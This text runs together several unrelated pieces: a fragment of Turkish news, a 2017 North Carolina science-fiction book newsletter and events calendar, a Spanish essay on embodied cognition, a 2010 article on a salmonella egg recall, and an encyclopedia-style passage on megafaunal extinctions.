police in the province’s İpekyolu district.The attack also comes after a government move to replace 28 local mayors with trustees for their alleged links to terror organizations, including the PKK.Four district municipality mayors in Van had been replaced by either deputy governors or district governors on Sept. 11, as part of a recent decree law the under state of emergency following the July 15 failed coup attempt.Vol 7 No 2. Monday, March 6, 2017: Thankfully February was a short month again this year, so I hope you’ll forgive me for not having a newsletter out last month. Unfortunately I must ask your further indulgence for still not including a full “news and notes” or even “new books and audiobooks” section in this newsletter, even as (especially) publication notes begin to pile up to the ceiling! But enough of my groveling, let’s jump right in and talk about some upcoming events:
The big event this week is actually tonight, March 7 (Tuesday) at 7 pm as Flyleaf Books hosts Durham author Mur Lafferty to discuss her new books Six Wakes: A Novel and the first collected volume of Bookburners.
Later this month sees events with Renée Ahdieh (Quail Ridge Books, Monday March 13), Samantha Shannon (Flyleaf Books, Tuesday March 14), Asheville author Robert Beatty (Quail Ridge Books, Sunday March 19), John Scalzi (Quail Ridge Books, Wednesday March 22, and Flyleaf Books, Thursday March 23), and Roshani Chokshi and Ryan Graudin (Flyleaf Books, Thursday March 30), along with an even more “bigger” Oak City Comicon, this year called NC Comicon Oak City, on March 18 and 19 at the Raleigh Convention Center.
Looking further ahead, there are a few more new events since the last newsletter:
Scott Westerfeld’s Quail Ridge Books appearane was rescheduled for Monday April 17, for his new young adult science fiction novel Horizon; Flyleaf Books announced that Cory Doctorow’s book tour for his new novel Walkway would be making a stop in Chapel Hill on Friday May 5; and there’s also a newly listed second local event for Raleigh author John Kessel in support of the publication of his forthcoming novel The Moon and the Other. For further details, see the full events listings!
All right, while I said that I don’t have a full news and publication notes roundup yet again, there is some big awards news to pass along this month:
The 2016 Locus Recommended Reading List includes NC writers Fred Chappell (A Shadow All of Light, Fantasy Novel), Renée Ahdieh (The Rose and the Dagger, Young Adult Book), Alyssa Wong (“You’ll Surely Drown Here If You Stay”, Novelette, and “A First of Permutations in Lightning and Wildflowers”, Short Story), and Dale Bailey (“I Was A Teenage Werewolf”, Short Story). And while the list of other books there is long and wonderful, I want to also single out former NC writers Gerry Canavan, whose book Octavia E. Butler is listed for Non-Fiction, Roshani Chokshi, for her first novel The Star-Touched Queen, and Kij Johnson, for her novella The Dream-Quest of Vellitt Boe. This list also serves as the non-write-in choices for the annual Locus Poll and Survey, which decide the Locus Awards, for which anyone can vote. The deadline for ballots is April 15, 2017.
The Science Fiction and Fantasy Writers of America (SFWA) announced the nominees for the 51st Annual Nebula Awards, which also includes Alyssa Wong’s novelette “You’ll Surely Drown Here If You Stay” and short story “A Fist of Permutations in Lightning and Wildflowers”.
Underground Book Reviews named as its Editor’s Choice Novel of the Year The Last Great American Magic by Durham author L.C. Fiore, calling it “more than just an American epic. Historic fiction with a mythical twist, this exquisitely written novel is both thought-provoking and page-turning.”
Speaking of Chappell’s A Shadow All of Light, Ahdieh’s The Rose and the Dagger, Chokshi’s The Star-Touched Queen, and Fiore’s The Last Great American Magic, these are 4 of the 118 books on the final eligibility list for the 2017 Manly Wade Wellman Award, just announced yesterday. Nominations are and will remain open until Monday, May 22, and ballots have gone out to all previously registered voters. To register to place a nominating ballot, please submit a voter registration form; the only requirement is that you are or will be be a member of one of the North Carolina science fiction and fantasy conventions.
The last section of the newsletter, before the full events calendar of course, is focused on some regional summer writing camps.
For teens, Shared Worlds 2017 will be held July 16-29 at Wofford College in Spartanburg, South Carolina. Visiting authors this year include Gwenda Bond, Tobias S. Buckell, N.K. Jemisin, Kathe Koja, Terra Elan McVoy, Sofia Samatar, Ekaterina Sedia, and editor-in-residence Ann VanderMeer, along with camp co-director Jeff VanderMeer and assistant director Will Hindmarch. It’s a fantastic opportunity for creativity and writing, and registration is now open. Financial aid is also available, so if you are or know a rising 8th-12th grade student with a passion for writing stories of the fantastic, let them know about this camp!
Closer to home, and also for teens, the Duke Young Writers’ Camp has three 2-week sessions for both residential and day camp, across June 18 to August 4. There’s an absolutely huge staff (across the 3 sessions), workshops, readings, lectures, and more activities besides.
For my fellow grown-ups, Frostburg State University (in Frostburg, Maryland) hosts its summer Nightsun Writers Conference on July 27-30. The writing track of interest to me, and I suspect anyone reading this, is, of course, the speculative fiction track under Andy Duncan, featuring workshops and craft sessions. “The conference is designed to generate new material for publication, hone the craft of creative writing, and initiate a larger writing community for participants.” The cost for participation is $350 plus accommodations and some meals, and I would be completely lying to you if I said I hadn’t already looked up and found a very inexpensive 8-bedroom house for rental that long weekend…
All right. Before I let you go, and this may seem almost like cheating or favoritism, but it’s worth it, I do want to at least mention the two most recent of the many, many NC authored books to have been published already this year:
Wothwood: A Broken Cities Novella is by (for now) Durham author Natania Barron, just published by Charlotte’s Falstaff Books. “For time out of mind, the Brezhian people have protected the Wothwood, their lore passed down for generations to each clan. While rumors of a lost city within the wood pervade their mythology, none dare enter the sacred grove, the living grave of their goddess, Noduuoret. But when the Therian army arrives, intent on learning the Wothwood’s secrets, three heroes arise to challenge the threat: Lon, the warrior in exile; Glannon, the young ruler who left him to die; and Aoda, the woman of science, disfigured but unbent. Together, they enter the Wothwood. Drawn by revenge. Drawn by desire. And drawn by the thirst for knowledge.”
The Stravinsky Intrigue by Charlotte author Darin Kennedy picks up after the events of his 2015 novel The Mussorgsky Riddle. “Nine months have passed since psychic Mira Tejedor last walked the halls of Anthony Faircloth’s adolescent mind. All but family now, Mira is relocating to Charlotte, NC, not only for a much-needed change of scenery, but to further her burgeoning relationship with Dr. Thomas Archer. On the eve of her move, however, a new threat emerges. Young girls from every corner of Charlotte are falling catatonic, a condition eerily similar to the illness from which Mira rescued Anthony the previous fall. Mira reluctantly agrees to help Detective Calvin Sterling with the case and soon finds herself pulled into a new pair of fantasy worlds, both borne from the brilliant mind of Igor Stravinsky.”
And, lastly, for quite a few back episodes I haven’t mentioned in the newsletter yet, check out the Carolina Book Beat podcast. I’ve had the chance to talk with Rysa Walker, Brent Winter, Ursula Vernon, Joe McDermott, and (of course, as she’s my co-host) Mur Lafferty in recent months. Enjoy!
-Sam
UPCOMING EVENTS, MARCH 2017
NEW: March 7 (Tuesday) 7 pm — Flyleaf Books hosts Durham author Mur Lafferty to discuss her new books Six Wakes: A Novel and Bookburners.
March 7 (Tuesday) 7 pm — Quail Ridge Books hosts Charlie Lovett – ‘The Lost Book of the Grail’. “It takes a bibliophile to know one. An English professor’s passion for ancient manuscripts, his Cathedral, and all things to do with the Holy Grail comes under threat in Charlie Lovett’s The Lost Book of the Grail. Charlie (The Bookman’s Tale) returns on Tuesday, March 7, at 7 pm with a story of medieval mysteries, modern technological threats, and perhaps a bit of romance.”
NEW: March 13 (Monday) 7 pm — Quail Ridge Books hosts Renée Ahdieh (The Wrath & the Dawn and The Rose & the Dagger), Natalie C. Anderson (City of Saints & Thieves), Alwyn Hamilton (Rebel of the Sands and Traitor to the Throne), and Lesley Livingston (The Valiant), for “Penguin Teen on Tour – Four Fantastic YA Authors in One Night”.
March 14 (Tuesday) 7 pm — Flyleaf Books hosts London author Samantha Shannon for her new novel The Song Rising. “On the eve of a new decade, after two hundred years of Scion rule, a rebellion is stirring. Its unlikely cradle is the clairvoyant underworld in London, and even a shattering betrayal within the community cannot stop it. Paige Mahoney is now Underqueen in London, determined to fight for her fellow clairvoyants against overwhelming odds. Her tentative alliance with the Ranthen is tested, and her rule is threatened by a technology so powerful it could destroy the world as she knows it. Racing against the clock, Paige goes north in search of a solution—but with a new enemy pulling the strings, and war on the horizon, she will have to make dangerous sacrifices to protect the ones she loves.”
March 18-19 (Saturday and Sunday) — Oak City Comicon 2017 at the Raleigh Convention Center.
NEW: March 18 (Saturday) 11 am to 2 pm — Charlotte’s Park Road Books hosts a launch party for two new books by Darin Kennedy, The Stravinsky Intrigue & Pawn’s Gambit.
NEW: March 19 (Sunday) 2 pm — Quail Ridge Books hosts Asheville author Robert Beatty for a preview of his forthcoming novel Serafina and the Splintered Heart. “Asheville author Robert Beatty created a true nation-wide sensation with his fantasy set around the Biltmore Estate, begun with Serafina and the Black Cloak. The first Serafina received the Pat Conroy Southern Book Prize, and has been on the NC Battle of the Books list. The sequel, Serafina and the Twisted Staff, is now available. Join us on Sunday, March 19, at 2 pm when Robert joins us for Staff, and previews Serafina and the Splintered Heart (Book 3, due out July)! Ages 9+. We’ll have some light refreshments to make it extra special.”
March 22 (Wednesday) 7 pm — Quail Ridge Books hosts John Scalzi for his new science fiction novel The Collapsing Empire. “The first novel of a new space-opera sequence set in an all-new universe by the Hugo Award-winning, New York Times-bestselling author of Redshirts and Old Man’s War.”
NEW-NEW: March 22 (Wednesday) 7 pm to 8:30 pm — Charlotte’s Park Road Books hosts a multi-author book signing for Cinched: Imagination Unbound recently published by Falstaff Books. “Join Falstaff Books Publisher John G. Hartness and a host of amazing authors as they sign copies of Cinched: Imagination Unbound and their other works! Joining us will be Nico Serene, Gail & Larry Martin, Misty Massey, and Dave Harlequin! Cinched is a great multi-genre anthology centered around that most alluring of garments – the corset! From horror to humor to fantasy to steampunk, these authors weave tales that will leave you spellbound!” [Facebook]
March 23 (Thursday) 7 pm — Flyleaf Books hosts John Scalzi for his new science fiction novel The Collapsing Empire. “The first novel of a new space-opera sequence set in an all-new universe by the Hugo Award-winning, New York Times-bestselling author of Redshirts and Old Man’s War.” [Facebook]
NEW-NEW: March 25 (Saturday) 11 am to 1 pm, and 3 pm to 5 pm — “Authors in Your Back Yard” at Cameron Village Regional Library. Among other authors appearing, S.M. Ishida will be part of the event from 11 am to 1 pm. “Join distinguished author Daniel Wallace as he welcomes local authors in a celebration of writing talent. Daniel Wallace will give a keynote talk on writing, followed by author readings and a networking reception.” For the 3 pm to 5 pm event: “Join distinguished author Suzanne Adair as she welcomes local authors in a celebration of writing talent. Suzanne Adair will give a keynote talk on writing, followed by author readings and a networking reception.” If you have any questions about the event, email library.cam@wakegovlibraries.com.
March 28 — Local author book release day for Arrow: A Generation of Vipers by Clay and Susan Griffith (Titan Books).
NEW: March 30 (Thursday) 7 pm — Flyleaf Books hosts Roshani Chokshi discusses her new YA novel, A Crown of Wishes, with Ryan Graudin. “Roshani Chokshi discusses her new YA novel A Crown of Wishes, a beautiful, lush fantasy from the author of The Star-Touched Queen. Featuring a panel with Ryan Graudin, author of The Walled City and Wolf By Wolf.”
APRIL 2017
April 4 — Raleigh author novel release day for The Moon and the Other by John Kessel (Saga Press, April 4, 2017) — “John Kessel, one of the most visionary writers in the field, has created a rich matriarchal utopia, set in the near future on the moon, a society that is flawed by love and sex, and on the brink of a destructive civil war.”
April 7 (Friday) 7 pm — Quail Ridge Books hosts John Kessel for his first new novel in some time, The Moon and the Other forthcoming from Saga Press. “Welcome to the Moon of the 22nd century where politics, rival city—states, and a matriarchal society collide. Passions, both sexual and warlike, come to a boil as the players must decide what really matters to them.”
NEW: April 17 (Monday) 7 pm — Quail Ridge Books hosts Scott Westerfeld for his new young adult science fiction novel Horizon. “He’s one of the most fascinating speakers we’ve had, as well as one of the most inventive writers in YA fantasy today. Scott Westerfeld returns with Horizon, the start of a new supernatural series for slightly younger readers. Imagine Survivor on steroids. Eight young people crash in the Arctic. But instead of an icy landscape, they find themselves in a forbidding jungle, with impossibly bizarre flora and fauna. Survival means banding together, which may be equally impossible.”
NEW: April 18 (Tuesda) 7 pm — The Regulator Bookshop hosts John Kessel, “The Moon and the Other”. “Welcome to the Moon of the 22nd century where politics, rival city—states, and a matriarchal society collide. Passions, both sexual and warlike, come to a boil as the players must decide what really matters to them.”
MAY 2017
NEW: May 5 (Friday) 7 pm — Flyleaf Books hosts Cory Doctorow for his new novel Walkaway. “Cory Doctorow’s first adult novel in eight years: an epic tale of revolution, love, post-scarcity, and the end of death. Hubert Vernon Rudolph Clayton Irving Wilson Alva Anton Jeff Harley Timothy Curtis Cleveland Cecil Ollie Edmund Eli Wiley Marvin Ellis Espinoza—known to his friends as Hubert, Etc—was too old to be at that Communist party. But after watching the breakdown of modern society, he really has no where left to be—except amongst the dregs of disaffected youth who party all night and heap scorn on the sheep they see on the morning commute. After falling in with Natalie, an ultra-rich heiress trying to escape the clutches of her repressive father, the two decide to give up fully on formal society—and walk away. After all, now that anyone can design and print the basic necessities of life—food, clothing, shelter—from a computer, there seems to be little reason to toil within the system. It’s still a dangerous world out there, the empty lands wrecked by climate change, dead cities hollowed out by industrial flight, shadows hiding predators animal and human alike. Still, when the initial pioneer walkaways flourish, more people join them. Then the walkaways discover the one thing the ultra-rich have never been able to buy: how to beat death. Now it’s war – a war that will turn the world upside down.”
May 23-28 (Tuesday to Sunday) — The Durham Performing Arts Center presents Finding Neverland, which “tells the incredible story behind one of the world’s most beloved characters: Peter Pan. Playwright J.M. Barrie struggles to find inspiration until he meets four young brothers and their beautiful widowed mother. Spellbound by the boys’ enchanting make-believe adventures, he sets out to write a play that will astound London theatergoers.”
May 30 (Tuesday) 7 pm — Quail Ridge Books hosts Kij Johnson for her new novel The River Bank: A sequel to Kenneth Grahame’s The Wind in the Willows forthcoming from Small Beer Press. “Kij Johnson has won the major awards for fantasy (Sturgeon, World Fantasy, Hugo). Now Johnson turns to the most elemental of fantasies – the fairy tale – as she lovingly re-creates Kenneth Grahame’s world, and expands upon it.”
NEW: May 30 (Tuesday) 7 pm — Flyleaf Books hosts Daniel Wallace Launches his new novel Extraordinary Adventures. “From the New York Times bestselling author of Big Fish comes a novel about the world’s most ordinary man and his quest to find true love. Edsel Bronfman works as a junior executive shipping clerk for an importer of Korean flatware. He lives in a seedy neighborhood and spends his free time with his spirited mother. Things happen to other people, and Bronfman knows it. Until, that is, he gets a call from operator 61217 telling him that he’s won a free weekend at a beachfront condo in Destin, Florida. But there’s a catch: the offer is intended for a couple, and Bronfman has only seventy-nine days to find someone to take with him.”
JUNE 2017
June 1 — NC author book release day for The Sweetest Burn (A Broken Destiny Novel) by Jeanine Frost (HQN Books).
June 6 — NC author book release day for Firebrand by A.J. Hartley (Tor Teen), sequel to Steeplejack.
JULY 2017
July 4 — Raleigh author book release day for A Rebel’s Stone by P.T. McHugh (Glass House) Book 2 in his “Stone Ends” series after Keeper of the Black Stones.
July 14-16 (Friday to Sunday) — DeepSouthCon 55 at ConGregate 4 in High Point, NC with author guest of honor Barbara Hambly, artist guest of honor Alan Pollack, special guests Toni Weisskopf, Michael A. Stackpole, and Timothy Zahn, and the presentation of the 2016-17 Manly Wade Wellman Award for North Carolina Science Fiction and Fantasy.
July 14-16 (Friday to Sunday) — Raleigh SuperCon at the Raleigh Convention Center. “Supercon is 3 days of fun featuring celebrity guests, comic book creators, voice actors, industry guests, cosplayers, artists, writers, panels, Q&A’s, films & shorts, costume & cosplay contests, vendors, parties, anime, workshops, video gaming and more! Supercon is for fans of pop culture, superheroes, science fiction, anime, cartoons, video games, and more. Dress up in costume or come as you are for this family friendly event. Kids 9 and under are free with a paying adult.”
AUGUST 2017
August 5 (Saturday) 10 am to 4 pm — One-day mini-convention For the Love of Books Raleigh at the Raleigh Marriott City Center: “With each of our events our goal is to create a more intimate setting so that authors have more time with their fans and readers have more time discovering authors they haven’t read yet. By creating a smaller event, (about 20-25 authors,) we will be able to concentrate on all of the extras that make a signing fun, memorable, and relaxing.”
SEPTEMBER 2017
September 12 — Local author book release day for Nyxia by Scott Reintgen (Crown Books for Young Readers). “Every life has a price in this sci-fi thriller that has the nonstop action of The Maze Runner and the high-stakes space setting of Illuminae. This is the first in a new three-book series called the Nyxia Triad that will take a group of broken teens to the far reaches of the universe and force them to decide what they’re willing to risk for a lifetime of fortune.”
– END –Biological brains are first and foremost the control systems for biological bodies. Biological bodies move and act in rich real-world surroundings
Los cerebros biológicos son primero que nada el sistema de control para los cuerpos biológicos. Los cuerpos biológicos se mueven y actúan en mundos reales
-Andy Clark, 1998.
Tradicionalmente, las teorías dominantes sobre la filosofía de la mente y la ciencia cognitiva han considerado marginalmente el papel del cuerpo y el medio ambiente para el entendimiento de la naturaleza de la cognición. En las últimas décadas, varios autores han considerado esto un serio error, ya que dichas nociones no se alejan de una concepción dualista: mente y cuerpo. La teoría de la cognición corporizada (embodied cognition) propone que los procesos cognitivos se desarrollan como un sistema entrelazado entre el medio ambiente y el organismo, tomando en cuenta tanto su cuerpo como su mente.
Las raíces de esta teoría se remontan a los trabajos de Heidegger, Piaget, Vygotsky y Merleau-Ponty. Se puede pensar que la tesis corporizada es una postura alternativa a la corriente cognitiva clásica, donde se conceptualizan las funciones cognitivas mediante la metáfora de la computadora. Esta postura se centra principalmente en la codificación de representaciones simbólicas que permiten al organismo encontrar soluciones por medio de operaciones computacionales, enfocándose de facto sólo a los procesos cognitivos internos del organismo. Por el contrario, la teoría corporizada de la cognición busca un análisis relacional dinámico entre el organismo, las acciones que ejecuta y el medio ambiente con el que interactúa.
Esta crítica al planteamiento clásico cognoscitivista puede verse ejemplificada en los inicios de la inteligencia artificial. En ese tiempo se proponía que el reto principal era desarrollar algoritmos que simularan las operaciones computacionales de la mente, como si fuera una máquina de Turing. Rápidamente se dieron cuenta de que esta aproximación era muy ineficiente, y que no podía siquiera acercarse a los niveles de competencia humana incluso para tareas simples. Autores como Rodney Brooks argumentaron que las aproximaciones simbólicas en robótica fallaban al no considerar la importancia de habilidades sensoriomotoras para la inteligencia en general. Así, el filósofo Andy Clark propuso que una auténtica inteligencia artificial sólo podría alcanzarse con máquinas que tuvieran habilidades sensoriales y motoras que les permitieran interactuar con el mundo.
De la misma forma, la teoría de la cognición corporizada busca separarse de la noción de una mente abstracta, centralizada y distinta de nuestros procesos sensoriales y motores. Esther Thelen nos dice que la cognición emerge de la continua interacción corporal con el mundo. La cognición depende del tipo de experiencias que devienen de tener un tipo de cuerpo con ciertas capacidades sensoriales y motoras para formar una matriz situada o incrustada en el medio ambiente dentro de la cual el razonamiento, la memoria, la emoción, el lenguaje y otros aspectos de la vida mental se auto-organizan.
De esta proposición se desprende que el cuerpo del organismo (por ejemplo, si tiene pies, aletas, ojos, cola, etc.) influiría en las experiencias sensoriales y motoras posibles; y además, éstas determinarían el tipo de interacciones dirigidas al mundo, construyendo así la base para la formación de categorías y conceptos. Esta teoría también propone que utilizamos el medio ambiente para aminorar la carga de procesamiento cognitivo, es decir; que la actividad cognitiva está distribuida entre el agente u organismo y el ambiente físico, social y cultural. A este concepto se le conoce como cognición extendida.
Algunos ejemplos de simulaciones sensorioles y motoras mentales a partir de situaciones externas son la imaginería, que se evoca al recordar algún episodio de vida. Estudios de comportamiento sugieren que estas imágenes mentales involucran representaciones análogas que funcionalmente conservan las propiedades del mundo exterior. De igual manera, estudios con resonancia magnética demuestran que la percepción visual y la imaginería visual comparten un sustrato neuronal común. Este tipo de anclajes sensoriomotores también aplican para la memoria de trabajo, la episódica e implícita y al razonamiento para la solución de problemas con modelos espaciales (para una discusión más completa).
Una de las aplicaciones más sofisticadas de esta teoría se da dentro del análisis de las metáforas. George Lakoff apunta que las metáforas están asentadas en la experiencia corpórea y que funcionan como mapas conceptuales que relacionan diferentes modalidades de información, es decir; las metáforas van más allá del mero lenguaje y el recurso literario, porque son conceptuales por naturaleza y funcionan como analogías que van de dimensiones más abstractas a las más concretas. Por ejemplo, una metáfora común para el amor es definirlo como un viaje, esta metáfora involucra el mapeo de una dimensión (amor) a otra (viaje), donde la dimensión abstracta es complementada por la experiencia física de un cuerpo que se mueve a través del mundo para alcanzar propósitos y metas. En otras instancias se describe al amor como una fuerza física –calor, electricidad, chispa–, en contraste con el concepto de desamor se asocia más con la frialdad, la distancia y los obstáculos, situaciones que en cierta forma impiden el movimiento físico.
Otros experimentos muestran que las manipulaciones al cuerpo físico pueden influir en los pensamientos y juicios de la personas. En un experimento clásico Fritz Strack dio a los participantes un lápiz para sostenerlo con la boca mientras juzgaban qué tan graciosas eran unas caricaturas. En un grupo, los participantes sostenían el lápiz con los dientes sin tocarlo con los labios, lo que los orillaba a realizar una sonrisa forzada (grupo sonrisa) y en el otro grupo, los participantes sostenían el lápiz sólo con los labios (grupo no sonrisa). Los resultados muestran que los participantes que mantenían una sonrisa forzada calificaban las caricaturas como más graciosas, en contraparte con el grupo control que no se les forzaba a sonreír.
Por otro lado, John Bargh realizó un experimento utilizando estímulos físicos como primados para afectar inconscientemente la opinión de las personas. En este experimento, los participantes sostuvieron bebidas frías o calientes con sus manos mientras entraban en contacto con un extraño. Después de esta experiencia se les preguntaba qué tan confiable les parecía esta persona. Quienes sostuvieron la bebida caliente tendieron a juzgar al extraño como más confiable que los que sostuvieron las bebidas frías. La interpretación es que la temperatura caliente se asocia con conceptos de calidez y confort, que están íntimamente relacionados con el sentimiento de confiabilidad.
En conclusión, la teoría de la cognición corporizada propone que nuestro cuerpo determinaría el tipo de patrones o acciones que podemos ejecutar, al tiempo que el tipo de patrones o acciones que ejecutamos moldearía nuestras funciones cognitivas. La idea medular es: el organismo activamente construye sus representaciones sensoriales y motoras basadas en las características del medio ambiente. Bajo esta teoría se propone una agenda científica que ponga al centro el acoplamiento estructural entre el cerebro, el cuerpo, y el mundo exterior.
Twitter de la autora: @hjolkoTainted eggs sicken thousands across US
By Naomi Spencer
21 August 2010
A huge food recall has expanded in the past week to include 550 million eggs, packaged and sold under 17 different brands in many states across the US, that are potentially contaminated with salmonella.
Some 380 million eggs, originating from the Galt, Iowa-based Wright County Egg company, have been identified as the source of a mass outbreak of salmonella poisoning. A second Iowa egg producer, Hillandale Farms, announced a major recall on August 20 of 170 million eggs distributed to 14 states that were also potentially tainted with salmonella.
Salmonella Enteritidis is a pathogen that can be introduced into food through contact with feces. In the large-scale egg industry, rodent infestations spread salmonella bacteria through the grain fed to breeder hens, which is then transferred to eggs, including both the outer shell and within the yolk.
In humans, salmonella causes fever, diarrhea, vomiting, and abdominal pain. The bacteria can also enter the bloodstream, causing severe complications, including endocarditis and arthritis, and fatal infections. Young children, the elderly, and those in frail health are at highest risk of such complications.
At least 266 cases of illness in California have been definitively linked to Wright County Egg, along with seven cases in Minnesota, eight in Colorado, and many in other states. The federal Food and Drug Administration, which is responsible for overseeing shell egg safety, lists numerous lots of eggs as potentially tainted. They were shipped as far back as May 16 to foodservice companies, distribution centers and wholesalers in 17 states throughout the West, Southwest, Plains, and the Midwestern regions.
On August 13, the company enacted a recall of shell eggs from three of its five farms, encompassing 228 million eggs. After federal epidemiologists reported links to the other two farms, Wright County Egg was compelled to conduct a wider recall, including eggs shipped out months ago that are likely long since consumed.
No deaths have been attributed to the present outbreak. However, many thousands of people have been sickened, including some seriously enough to require hospitalization. Nearly 2,000 cases of salmonella poisoning were reported between May and July, according to federal Centers for Disease Control and Prevention epidemiologist Christopher Braden, who told the media this figure was 1,300 times higher than normal for the time frame. Speaking at a telephone news conference, Braden warned, “I would anticipate we will be seeing more illnesses reported and likely as a result of this outbreak.”
The official count is likely a drastic underestimate of the real incidence rate. According to the CDC, only one in 38 cases of salmonella poisoning is clinically diagnosed and reported to health officials. It is likely that tens of thousands of people have already been made ill by the tainted eggs.
The CDC estimates that as many as 81 million cases of food-related illnesses occur each year in the US, causing 300,000 hospitalizations and up to 9,000 deaths.
Wright County Egg claims it is voluntarily in compliance with federal guidelines. However, an August 18 New York Times report noted that the company’s owner, Jack DeCoster, has been fined on multiple occasions for environmental, health and safety violations, animal cruelty, as well as abuse of workers at his other companies. Among other incidents, the Times cited a 1997 investigation by the federal Occupational Safety and Health Administration that found DeCoster had forced workers to handle animal feces and dead chickens with their bare hands and to live in rat-infested trailers. Then-Labor Secretary Robert Reich described the company as “an agricultural sweatshop.”
Official data suggests that the conditions at Wright County Egg are not the exception in the industry. Eggs are among the most frequently reported sources of salmonella poisoning. According to a 2009 report by Citizens for Science in the Public Interest, based on CDC statistics going back to 1990, tainted eggs were responsible for 11,163 reported cases of illness in at least 352 separate outbreaks.
This latest mass outbreak of food poisoning reveals yet again the vulnerability of the population to the most easily preventable illnesses. For the past decade, governmental oversight and consumer protections have been systematically loosened, with federal and state agencies functioning less as regulatory bodies and more as means of ensuring that the food industry has access to consumer markets.
Interviewed by Time magazine in June, FDA’s consumer-safety officer Cecilia Wolyniak explained, “In many cases they do agree [to a recall]… But there are some cases where they won’t and then we do what’s called an FDA-requested recall, where we send them a notification and say we expect them to take action.”
“The lack of mandatory recall always surprises people,” FDA deputy commissioner for foods Mike Taylor told the magazine. “It’d help if we had the authority to back [our recall requests] up.”
The Time report noted that at present, the FDA has “only about 450 people authorized to do on-site inspections of the over 156,000 FDA-regulated firms.” The FDA “tries to inspect food facilities once a year if they make easily contaminated products like seafood and every few years if they don’t,” the article noted.
Food safety programs have been steadily dismantled, starved of funds and stripped of any enforcement capabilities at the same time that the food supply has vastly expanded and internationalized. Over the past several years, millions of Americans have suffered bouts of food poisoning from basic diet staples including beef, tomatoes, spinach, lettuce, and peanuts. In some of these cases, the federal authorities were aware of contamination problems at producers for years before outbreaks occurred, and nothing was done to prevent them.
Masses of people who have no way of detecting tainted food or preventing outbreaks are exposed to hazards that federal agencies have no legal authority to prevent. |
Cenozoic. Later in the Cenozoic, however, they were displaced by advanced carnivorans and died out. In North America, the bathornithids Paracrax and Bathornis were apex predators but became extinct by the Early Miocene. In South America, the related phorusrhacids shared the dominant predatory niches with metatherian sparassodonts during most of the Cenozoic but declined and ultimately went extinct after eutherian predators arrived from North America (as part of the Great American Interchange) during the Pliocene. In contrast, large herbivorous flightless ratites have survived to the present.
However, none of the largest predatory (Brontornis), possibly omnivorous (Dromornis[23]) or herbivorous (Aepyornis) flightless birds of the Cenozoic ever grew to masses much above 500 kg, and thus never attained the size of the largest mammalian carnivores, let alone that of the largest mammalian herbivores. It has been suggested that the increasing thickness of avian eggshells in proportion to egg mass with increasing egg size places an upper limit on the size of birds.[24][note 1] The largest species of Dromornis, D. stirtoni, may have gone extinct after it attained the maximum avian body mass and was then outcompeted by marsupial diprotodonts that evolved to sizes several times larger.[27]
In giant turtles [ edit ]
Giant tortoises were very important components of late Cenozoic faunas, occurring in virtually every continent until the arrival of homininans.[28][29] The largest known terrestrial tortoise was Megalochelys atlas, an animal that probably weighed about 1,000 kg.
Some earlier aquatic Testudines, e.g. the marine Archelon of the Cretaceous and freshwater Stupendemys of the Miocene, were considerably larger, weighing more than 2,000 kg.
Megafaunal mass extinctions [ edit ]
Timing and possible causes [ edit ]
Correlations between times of first appearance of humans and unique megafaunal extinction pulses on different land masses
Cyclical pattern of global climate change over the last 450,000 years (based on Antarctic temperatures and global ice volume), showing that there were no unique climatic events that would account for any of the megafaunal extinction pulses
The Holocene extinction (see also Quaternary extinction event), occurred at the end of the last ice age glacial period (a.k.a. the Würm glaciation) when many giant ice age mammals, such as woolly mammoths, went extinct in the Americas and northern Eurasia. An analysis of the extinction event in North America found it to be unique among Cenozoic extinction pulses in its selectivity for large animals.[30](Fig. 10) Various theories have attributed the wave of extinctions to human hunting, climate change, disease, a putative extraterrestrial impact, or other causes. However, this extinction near the end of the Pleistocene was just one of a series of megafaunal extinction pulses that have occurred during the last 50,000 years over much of the Earth's surface, with Africa and southern Asia (where the local megafauna had a chance to evolve alongside modern humans) being comparatively less affected. The latter areas did suffer a gradual attrition of megafauna, particularly of the slower-moving species (a class of vulnerable megafauna epitomized by giant tortoises), over the last several million years.[31][32]
Outside the mainland of Afro-Eurasia, these megafaunal extinctions followed a highly distinctive landmass-by-landmass pattern that closely parallels the spread of humans into previously uninhabited regions of the world, and which shows no overall correlation with climatic history (which can be visualized with plots over recent geological time periods of climate markers such as marine oxygen isotopes or atmospheric carbon dioxide levels).[33][34] Australia[35] and nearby islands (e.g., Flores[36]) were struck first around 46,000 years ago, followed by Tasmania about 41,000 years ago (after formation of a land bridge to Australia about 43,000 years ago),[37][38][39] Japan apparently about 30,000 years ago,[40] North America 13,000 years ago,[note 2] South America about 500 years later,[42][43] Cyprus 10,000 years ago,[44][45] the Antilles 6,000 years ago,[46][47] New Caledonia[48] and nearby islands[49] 3,000 years ago, Madagascar 2,000 years ago,[50] New Zealand 700 years ago,[51] the Mascarenes 400 years ago,[52] and the Commander Islands 250 years ago.[53] Nearly all of the world's isolated islands could furnish similar examples of extinctions occurring shortly after the arrival of humans, though most of these islands, such as the Hawaiian Islands, never had terrestrial megafauna, so their extinct fauna were smaller.[33][34]
An analysis of the timing of Holarctic megafaunal extinctions and extirpations over the last 56,000 years has revealed a tendency for such events to cluster within interstadials, periods of abrupt warming, but only when humans were also present. Humans may have impeded processes of migration and recolonization that would otherwise have allowed the megafaunal species to adapt to the climate shift.[54] In at least some areas, interstadials were periods of expanding human populations.[55]
An analysis of Sporormiella fungal spores (which derive mainly from the dung of megaherbivores) in swamp sediment cores spanning the last 130,000 years from Lynch's Crater in Queensland, Australia, showed that the megafauna of that region virtually disappeared about 41,000 years ago, at a time when climate changes were minimal; the change was accompanied by an increase in charcoal, and was followed by a transition from rainforest to fire-tolerant sclerophyll vegetation. The high-resolution chronology of the changes supports the hypothesis that human hunting alone eliminated the megafauna, and that the subsequent change in flora was most likely a consequence of the elimination of browsers and an increase in fire.[56][57][58][59] The increase in fire lagged the disappearance of megafauna by about a century, and most likely resulted from accumulation of fuel once browsing stopped. Over the next several centuries grass increased; sclerophyll vegetation increased with a lag of another century, and a sclerophyll forest developed after about another thousand years.[58] During two periods of climate change about 120,000 and 75,000 years ago, sclerophyll vegetation had also increased at the site in response to a shift to cooler, drier conditions; neither of these episodes had a significant impact on megafaunal abundance.[58] Similar conclusions regarding the culpability of human hunters in the disappearance of Pleistocene megafauna were derived from high-resolution chronologies obtained via an analysis of a large collection of eggshell fragments of the flightless Australian bird Genyornis newtoni,[60][61][59] from analysis of Sporormiella fungal spores from a lake in eastern North America[62][63] and from study of deposits of Shasta ground sloth dung left in over half a dozen caves in the American southwest.[64][65]
Continuing human hunting and environmental disturbance has led to additional megafaunal extinctions in the recent past, and has created a serious danger of further extinctions in the near future (see examples below). Direct killing by humans, primarily for meat, is the most significant factor in contemporary megafaunal decline.[66][67]
